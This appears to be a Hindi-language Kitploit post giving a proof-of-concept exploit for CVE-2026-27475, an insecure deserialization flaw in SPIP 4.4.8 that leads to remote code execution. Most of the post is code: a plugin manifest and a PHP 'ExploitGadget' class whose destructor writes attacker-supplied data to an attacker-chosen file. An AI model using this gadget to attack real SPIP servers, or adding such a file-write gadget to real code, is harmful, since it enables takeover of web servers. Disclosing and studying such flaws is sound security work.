CVE-2026-27475 — # CVE-2026-27475 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट SPIP 4.4.8 में एक प्रमाणित असुरक्षित डिसीरियलाइज़ेशन भेद्यता, जो रिमोट कोड निष्पादन की ओर ले जाती है। | Kitploit

साझा करें

CVE-2026-27475 (CVSS-B 9.2 क्रिटिकल)

SPIP 4.4.8 में प्रमाणित असुरक्षित डिसीरियलाइज़ेशन

> स्पष्टीकरण और अधिक जानकारी मेरी वेबसाइट पर <

PoC

RCE ट्रिगर करने के लिए, आपको एक कमजोर प्लगइन की आवश्यकता है। मैंने एक त्वरित प्लगइन तैयार किया है।

ये फ़ाइलें बनाएं: plugins/rce_gadget/paquet.xml

<paquet
    prefix="rce_gadget"
    categorie="outil"
    version="1.0.0"
    etat="test"
    compatibilite="[4.0.0;4.*.*]"
>
    <nom>RCE Gadget</nom>
    <auteur>Attacker</auteur>
</paquet>

plugins/rce_gadget/rce_gadget_options.php

<?php
class ExploitGadget {
    public $file;
    public $data;
    public function __destruct() {
        echo "<pre>DEBUG:\n";
        echo "File: "; var_dump($this->file);
        echo "Data: "; var_dump($this->data);
        echo "</pre>";
        file_put_contents($this->file, $this->data);
        die("PROOF");
    }
}